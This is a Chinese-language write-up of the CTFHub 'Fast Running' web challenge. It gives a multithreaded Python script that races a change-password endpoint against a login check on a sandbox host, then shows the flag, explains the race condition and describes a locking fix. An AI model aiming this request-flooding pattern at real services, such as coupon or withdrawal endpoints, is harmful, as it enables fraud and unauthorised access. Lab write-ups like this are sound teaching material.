靶场地址
CTFhub
→ 历年真题 → Web → 困难 → Fast Running
一句话漏洞点
改密码与校验密码之间存在时间窗口,并发请求可让"改密"和"登录"同时通过。
题面:修改密码与登录是两个独立接口
- 改密:
/change_passwd.php?passwd=12&passwd_confirm=12 - 登录:
/login_check.php?passwd=12
服务端的校验逻辑是"密码没变就放行"(防止误改),只要在它读取旧密码后、写入新密码前抢到登录请求,就能拿着旧密码通过校验。

多线程并发:一个线程疯狂改密,一个线程去登录
import threading
import requests
def change_pass(): # 死循环发送改密请求
while True:
url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800"
"/change_passwd.php?passwd=12&passwd_confirm=12")
requests.get(url)
def login(): # 发送一次登录请求
url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800"
"/login_check.php?passwd=12")
print(requests.get(url).text)
if __name__ == '__main__':
t1 = threading.Thread(target=change_pass)
t2 = threading.Thread(target=login)
t1.start(); t2.start()
t1.join(); t2.join()要点:change_pass 用 while True 高频占住改密接口,把时间窗口撞开的概率放大;login 只需一次请求,撞中即回显 flag。
运行脚本,回显 flag
D:\Python\.venv\Scripts\python.exe "D:\Python\cs\CTFHub\Fast Running.py"
ctfhub{415c61719bbfc174c2ccfb48}
竞争条件(Race Condition)是什么
程序把"检查"和"执行"拆成两步且没有加锁时,两步之间就存在时间窗口;并发请求可以挤进这个窗口,让两个互斥的操作同时成立。
本题的检查与执行:
- 读取数据库里的旧密码;
- 比较提交的密码是否等于旧密码;
- 相等则视为"没改",放行;
- 不相等才写入新密码。
改密请求不断把密码在"旧值 → 新值"之间来回改,登录请求恰好落在步骤 2 之后、步骤 4 之前,于是用旧密码通过了本该只对新密码开放的逻辑。
- 判断依据是"同一秒内两个请求同时成功",不是逻辑漏洞而是时序漏洞。
- 修复方式:对改密与登录的关键区段加锁(数据库事务 + 行锁,或 Redis 分布式锁),保证检查与写入原子化。
补充
t1是死循环,脚本不会自己退出;看到 flag 后手动停止即可。- 实战中常用
Burp Intruder无限发包或多线程脚本打这类题;脚本里线程数越多,撞中的概率越高。 - 同类考法:优惠券重复领取、余额超额提现、验证码一次性消费绕过。
评论 (0)